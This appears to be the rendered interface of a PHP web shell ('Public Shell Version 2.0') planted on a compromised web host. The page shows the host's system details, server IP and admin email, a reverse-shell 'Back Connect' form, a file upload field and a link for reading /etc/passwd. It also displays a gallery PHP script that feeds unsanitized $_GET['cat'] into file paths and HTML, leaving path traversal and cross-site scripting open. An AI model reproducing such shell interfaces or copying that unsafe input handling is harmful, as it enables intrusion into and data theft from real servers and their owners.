Public Sh


Uname : Linux ispc 6.2.16-3-pve #1 SMP PREEMPT_DYNAMIC PVE 6.2.16-3 (2023-06-17T05:58Z) x86_64
PHP Version : 5.2.6-1+lenny16
Server Admin : webmaster@zednictvi-stastny.eu
Server IP : 109.105.49.240 Your IP : 3.139.61.71
Safe Mode : Safe Mode is OFF
Read etc/passwd : Disabled Functions : PHP INFO
Back Connect
IP : PORt :
'; Public Shell Version 2.0
Disable Functions: passthru,shell_exec,system,proc_open,popen,curl_multi_exec,show_source,highlight_file
Current Path : /var/www/clients/client49/web272/web/gallery/general/
File Upload :
Current File : /var/www/clients/client49/web272/web/gallery/general/showalbum.php

<?php

class showalbum {
#    var $thumbWidth    =  96;
#    var $thumbHeight   =  72;
    
#    var $baseDir = '';
#    var $originalDir = 'original';
    var $thumbDir    = 'thumbnail';
#    var $infoDir     = 'info';
    
  function getThumbList(){
    $this->thumbDir = $_GET['cat']."/".$this->thumbDir.'/';
    $mylist = array();
    if ($handle = @opendir($this->thumbDir)) {
	  while ($file = readdir($handle))  {
	    if (!is_dir($file)) {
	      $mylist[] = $file;
        }
	  }
	}	
	return $mylist;
  }      
  
  function displayThumbList(){
      $info=substr(strrchr($_GET['cat'], "/"), 1);
      $main_infoFile  = $_GET['cat'].'/info/'.$info.'.info';
      if (file_exists($main_infoFile)){
      $data = file($main_infoFile);
      $catTitle = substr_replace($data[0],"",-1);
      unset($data[0]);          
      foreach ($data as $value1) {
        $about .= substr_replace($value1,"",-1);
      }
    }
    echo "<span class=\"title\">". $catTitle ."</span><br><br>\n";
    echo "<span class=\"text\">".$about."</span><br><br>\n";
    echo "<table>\n<tr>\n";
    $tlist = $this->getThumbList();
    $i = 0;
    foreach ($tlist as $value) {
      $infoFile    = $_GET['cat'].'/info/'.$value.'.info';
	    $path=$di;
	    $imageTitle = '';
	    $imageDesc  = '';
	  
      if (file_exists($infoFile)){
  	  	$imgData = file($infoFile);
  	  	$imageTitle = substr_replace($imgData[0],"",-1);
  	  	unset($imgData[0]);
  		  foreach ($imgData as $value1) {
  		    $imageDesc .= substr_replace($value1,"",-1);
  		  }
  	  }
      if ($i % 4){
        
      } else {
        echo "</tr>";
        echo "<tr>";
      }
       //echo "<img src=\"".$_GET['cat']."/thumb/".$value."\" title=\"".$imageDesc."\">\n";
      echo "<td WIDTH=\"130\" HEIGHT=\"130\" ALIGN=\"center\" class=\"diak\"><a href=\"".$_GET['cat']."/original/".$value."\" rel=\"lightbox[".$_GET['cat']."]\" title=\"".$imageTitle."\"><img src=\"".$_GET['cat']."/thumbnail/".$value."\" title=\"".$imageDesc."\"></a></td>\n";  
      $i++;
    }
    echo "</tr>\n</table>\n";
    echo "<br><br>";
  }
    
}
?>

Public Shell Version 2.0